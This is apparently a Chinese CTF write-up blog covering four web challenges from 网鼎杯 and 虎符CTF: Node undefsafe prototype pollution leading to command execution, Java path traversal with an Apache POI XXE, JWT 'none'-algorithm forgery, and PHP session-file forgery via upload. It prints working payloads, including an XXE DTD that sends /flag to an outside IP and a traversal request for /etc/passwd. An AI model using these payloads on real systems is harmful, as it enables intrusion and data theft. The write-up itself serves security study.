几道题解的小记

前言

这次网鼎杯的拉垮说明了很多问题,还是懒和蠢的问题。除了这些个人觉得还得对一些对学习方法进行检讨。不过在此前,先记一下复现的几道赛题。

网鼎杯

Notes

这是个比较简单的node题,但是我还是没做出来。

考点

  1. nodejs审计

有问题的包是undersafe,这个包主要用于递归读取对象的属性。
参考demo

1
2
3
4
5
6
7
8
9
10
11
var object = {
a: {
b: [1,2,3]
}
};

// modified object
var res = undefsafe(object, 'a.b.0', 10);

console.log(object); // { a: { b: [10, 2, 3] } }
console.log(res); // 1 - previous value

化简后有问题的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
var parts = split(path);
......
key = parts[0];
var i = 0;
for (; i < parts.length; i++) {
key = parts[i];
parent = obj;
...
...
obj = obj[key];
if (obj === undefined || obj === null) {
break;
}
}

if (obj === null && i !== parts.length - 1) {
obj = undefined;
} else if (!star && value) {
key = path.split('.').pop();
parent[key] = value;
}
return obj;

这段代码的逻辑大概是这样的,递归取到倒数第二个元素作为parent,最后一个是obj,如果存在value就把value的值赋给parent.xxx=value,xxx是形如a.b.c中的c,parent是b。如果我们传入proto.a的话,就能给所有对象增加一个a属性,a属性的值是可控的。

简单地浏览下所有有undersafe的地方,发现问题出在editnote上。

1
2
3
4
edit_note(id, author, raw) {
undefsafe(this.note_list, id + '.author', author);
undefsafe(this.note_list, id + '.raw_note', raw);
}

再结合这边的命令执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
app.route('/status')
.get(function(req, res) {
let commands = {
"script-1": "uptime",
"script-2": "free -m"
};
for (let index in commands) {
console.log(index + ' ' + commands[index])
exec(commands[index], { shell: '/bin/bash' }, (err, stdout, stderr) => {
if (err) {
return;
}
console.log(`stdout: ${stdout}`);
});
}
res.send('OK');
res.end();
})

我们可以很容易构造出以下payload

1
2
3
4
post /edit_note
id=__proto__.a&author=命令&raw=a

get /status 触发命令执行

最后
image.png

如果在buu上复现弹bash会失败,改成perl就好了。

filejava

一道常规的java题,,,然而就是没做出来,flag在根目录

考点

  1. 任意文件下载
  2. xxe(已知漏洞的复现能力)

filename=../../../../../../../../../../../../../etc/passwd(不行就多来几次)

逐步调整确认
filename=../../web.xml

然后根据该结果依次下载所有.class文件并反编译。

downloadServlet

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30

public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
String fileName = new String(request.getParameter("filename").getBytes("ISO8859-1"), "UTF-8");
System.out.println("filename=" + fileName);
if (fileName == null || !fileName.toLowerCase().contains("flag")) {
String path = findFileSavePathByFileName(fileName, getServletContext().getRealPath("/WEB-INF/upload"));
if (!new File(path + "/" + fileName).exists()) {
request.setAttribute("message", "您要下载的资源已被删除!");
request.getRequestDispatcher("/message.jsp").forward(request, response);
return;
}
response.setHeader("content-disposition", "attachment;filename=" + URLEncoder.encode(fileName.substring(fileName.indexOf("_") + 1), "UTF-8"));
FileInputStream in = new FileInputStream(path + "/" + fileName);
ServletOutputStream out = response.getOutputStream();
byte[] buffer = new byte[1024];
while (true) {
int len = in.read(buffer);
if (len > 0) {
out.write(buffer, 0, len);
} else {
in.close();
out.close();
return;
}
}
} else {
request.setAttribute("message", "禁止读取");
request.getRequestDispatcher("/message.jsp").forward(request, response);
}
}

大意就是除了flag啥都能读,别想着用大小写绕。

uploadServlet

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
String savePath = getServletContext().getRealPath("/WEB-INF/upload");
File tempFile = new File(getServletContext().getRealPath("/WEB-INF/temp"));
if (!tempFile.exists()) {
tempFile.mkdir();
}
String message = "";
try {
DiskFileItemFactory factory = new DiskFileItemFactory();
factory.setSizeThreshold(102400);
factory.setRepository(tempFile);
ServletFileUpload servletFileUpload = new ServletFileUpload(factory);
servletFileUpload.setProgressListener(new 1(this));
servletFileUpload.setHeaderEncoding("UTF-8");
servletFileUpload.setFileSizeMax(1048576);
servletFileUpload.setSizeMax(10485760);
if (ServletFileUpload.isMultipartContent(request)) {
for (FileItem fileItem : servletFileUpload.parseRequest(request)) {
if (fileItem.isFormField()) {
String fieldName = fileItem.getFieldName();
fileItem.getString("UTF-8");
} else {
String filename = fileItem.getName();
if (filename != null && !filename.trim().equals("")) {
String fileExtName = filename.substring(filename.lastIndexOf(".") + 1);
InputStream in = fileItem.getInputStream();
if (filename.startsWith("excel-") && "xlsx".equals(fileExtName)) {
try {
System.out.println(WorkbookFactory.create(in).getSheetAt(0).getFirstRowNum());
} catch (InvalidFormatException e) {
System.err.println("poi-ooxml-3.10 has something wrong");
e.printStackTrace();
}
}
String saveFilename = makeFileName(filename);
request.setAttribute("saveFilename", saveFilename);
request.setAttribute("filename", filename);
FileOutputStream out = new FileOutputStream(makePath(saveFilename, savePath) + "/" + saveFilename);
byte[] buffer = new byte[1024];
while (true) {
int len = in.read(buffer);
if (len <= 0) {
break;
}
out.write(buffer, 0, len);
}
in.close();
out.close();
message = "文件上传成功!";
}
}
}
request.setAttribute("message", message);
request.getRequestDispatcher("/ListFileServlet").forward(request, response);
}
} catch (FileUploadException e2) {
e2.printStackTrace();
}
}

很明显的poi的洞,估计是xxe

参考 https://xz.aliyun.com/t/6996

用法比较简单,修改[Content_Types].xml,添加外部实体引入。这里需要注意,mac下直接解压再压缩改后缀名会有问题,所以,可以使用一款ezip的软件,直接将原来的文件移除,再导入修改后的文件既可使用。

添加的payload

1
<!DOCTYPE xmlrootname [<!ENTITY % remote SYSTEM "http://174.1.61.102/eval.dtd">%remote;%init;%trick;]>

eval.dtd

1
2
<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % init "<!ENTITY &#37; trick SYSTEM 'http://174.1.61.102:8000/?file=%file;'>">

buu复现成功,需要自己开个linux。

虎符ctf

easy_login

考点

  1. jwt伪造
  2. koa项目结构的一些了解
  3. js弱类型

首先有事没事扫一下

发现一个app.js

找下有用的代码

1
2
const rest = require('./rest');
const controller = require('./controller');

看controller.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
const fs = require('fs');

function addMapping(router, mapping) {
for (const url in mapping) {
if (url.startsWith('GET ')) {
const path = url.substring(4);
router.get(path, mapping[url]);
} else if (url.startsWith('POST ')) {
const path = url.substring(5);
router.post(path, mapping[url]);
} else {
console.log(`invalid URL: ${url}`);
}
}
}

function addControllers(router, dir) {
fs.readdirSync(__dirname + '/' + dir).filter(f => {
return f.endsWith('.js');
}).forEach(f => {
const mapping = require(__dirname + '/' + dir + '/' + f);
addMapping(router, mapping);
});
}

module.exports = (dir) => {
const controllers_dir = dir || 'controllers';
const router = require('koa-router')();
addControllers(router, controllers_dir);
return router.routes();
};

看到addControllers,发现controllers下存在文件,经过一些试探,发现api.js是我们需要的东西。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
const crypto = require('crypto');
const fs = require('fs')
const jwt = require('jsonwebtoken')

const APIError = require('../rest').APIError;

module.exports = {
·····
'POST /api/login': async (ctx, next) => {
const {username, password} = ctx.request.body;

if(!username || !password) {
throw new APIError('login error', 'username or password is necessary');
}

const token = ctx.header.authorization || ctx.request.body.authorization || ctx.request.query.authorization;

const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;

console.log(sid)

if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
throw new APIError('login error', 'no such secret id');
}

const secret = global.secrets[sid];

const user = jwt.verify(token, secret, {algorithm: 'HS256'});

const status = username === user.username && password === user.password;

if(status) {
ctx.session.username = username;
}

ctx.rest({
status
});

await next();
},

'GET /api/flag': async (ctx, next) => {
if(ctx.session.username !== 'admin'){
throw new APIError('permission error', 'permission denied');
}

const flag = fs.readFileSync('/flag').toString();
ctx.rest({
flag
});

await next();
},

'GET /api/logout': async (ctx, next) => {
ctx.session.username = null;
ctx.rest({
status: true
})
await next();
}
};

要拿到flag的要求是用户名为admin,但尝试注册后发现不能注册admin,而这里使用jwt验证,我们想到了jwt空算法。

这里的登录,直接使用和jwt中的参数做比较

1
const status = username === user.username && password === user.password;

对sid的验证是这样的

1
2
3
if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
throw new APIError('login error', 'no such secret id');
}

这里使用[]数组来绕过。

最后使用python的jwt模块来生成验证token。

1
jwt.encode({'username':'admin','password':'admin','secretid':[]},'',algorithm='none')

先注册个账号,然后登录抓包

image.png

把设置的token填上就可以上flag了
image.png

babyupload

考点

  1. php session file_hander存储机制的了解
  2. file_exists的绕过
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
<?php
error_reporting(E_ALL);
ini_set('session.serialize_handler', 'php_binary');
session_save_path("/Applications/MxSrvs/www/tmp/");
session_start();
require_once "./flag.php";
highlight_file(__FILE__);
var_dump($_SESSION);
if ($_SESSION['username'] === 'admin') {
$filename = '/Applications/MxSrvs/www/tmp/success.txt';
if (file_exists($filename)) {
unlink($filename);
die($flag);
}
} else {
$_SESSION['username'] = 'guest';
}
$direction = filter_input(INPUT_POST, 'direction');
$attr = filter_input(INPUT_POST, 'attr');
var_dump($direction);
var_dump($attr);
$dir_path = "/Applications/MxSrvs/www/tmp/" . $attr;
if ($attr === "private") {
$dir_path .= "/" . $_SESSION['username'];
}
if ($direction === "upload") {
try {
var_dump($_FILES);
if (!is_uploaded_file($_FILES['up_file']['tmp_name'])) {
throw new RuntimeException('invalid upload');
}
$file_path = $dir_path . "/" . $_FILES['up_file']['name'];
$file_path .= "_" . hash_file("sha256", $_FILES['up_file']['tmp_name']);
var_dump($file_path);
if (preg_match('/(\.\.\/|\.\.\\\\)/', $file_path)) {
throw new RuntimeException('invalid file path');
}
@mkdir($dir_path, 0700, TRUE);
if (move_uploaded_file($_FILES['up_file']['tmp_name'], $file_path)) {
$upload_result = "uploaded";
} else {
throw new RuntimeException('error while saving');
}
} catch (RuntimeException $e) {
$upload_result = $e->getMessage();
}
} elseif ($direction === "download") {
try {
$filename = basename(filter_input(INPUT_POST, 'filename'));
$file_path = $dir_path . "/" . $filename;
if (preg_match('/(\.\.\/|\.\.\\\\)/', $file_path)) {

throw new RuntimeException('invalid file path');
}

if (!file_exists($file_path)) {
throw new RuntimeException('file not exist');
}
header('Content-Type: application/force-download');
header('Content-Length: ' . filesize($file_path));
echo substr($filename, 0, -65);
header('Content-Disposition: attachment; filename="' . substr($filename, 0, -65) . '"');
var_dump(readfile($file_path));
if (readfile($file_path)) {

$download_result = "downloaded";
} else {
throw new RuntimeException('error while saving');
}
} catch (RuntimeException $e) {
$download_result = $e->getMessage();
}
exit;
}

这里我根据自己本地改了下,但是基本不影响

这里主要有两个功能上传和下载功能,但是这边对../做了现在所以是无法跨目录的。

这里getflag的条件有二,第一success.txt存在,第二username为admin。

先来说说第二个

我们还发现session文件的存储目录和文件的上传目录是同一个,也就是说,如果我们能够上传一个形如sess_xxx的文件就可以通过session_start来伪造username。

经过分析我们发现:
如果我们上传名为sess的文件便可满足需求。

1
2
$file_path = $dir_path . "/" . $_FILES['up_file']['name'];
$file_path .= "_" . hash_file("sha256", $_FILES['up_file']['tmp_name']);

我们可以使用download功能来确定session file的存储类型为php_binary。由于php_binary可能存在不可视字符的问题,最好直接采用代码生成。

1
2
3
4
5
<?php
ini_set('session.serialize_handler', 'php_binary');
session_save_path("./");
session_start();
$_SESSION['username'] = 'admin';

将生成的代码上传改名即可。

第二的问题就是success.txt的问题,这里经过查阅文档后发现file_exist判断的不只有文件,还包括了文件夹,所以我们可以通过attr来添加一个success.txt的文件夹来绕过这一步。

最后流程如下。

image.png

image.png

image.png

总结

现在自己的一个很大的毛病就是只想着如何做,对一些基本的原理的学习有些轻视,这导致很大的问题。有时候按照别人的wp复现了半天出了啥问题也不知道咋处理,感觉有些地方需要理一理的时候还是要花时间来做下沉淀的。另外一个就是被懒癌拖了很久的代码审计的工作不管咋样也要开始搞了,看代码看不得要领这点很致命。